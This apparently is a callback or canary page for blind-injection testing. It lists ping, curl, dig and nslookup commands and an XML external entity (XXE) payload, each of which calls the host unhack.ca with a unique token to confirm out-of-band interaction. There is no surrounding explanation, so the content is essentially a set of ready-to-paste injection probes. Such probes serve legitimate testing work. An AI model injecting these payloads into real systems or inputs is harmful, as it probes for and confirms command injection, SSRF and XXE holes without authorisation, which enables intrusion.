$ ping -c1 -p 0003853ab4bb91aa1d807dcab4361200 unhack.ca
$ curl http://unhack.ca/p/03853ab4bb91aa1d807dcab43612
$ dig 03853ab4bb91aa1d807dcab43612 @unhack.ca
$ dig 03853ab4bb91aa1d807dcab43612.ns.unhack.ca
C:\> nslookup 03853ab4bb91aa1d807dcab43612 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/03853ab4bb91aa1d807dcab43612">]> <foo>&xxe;</foo>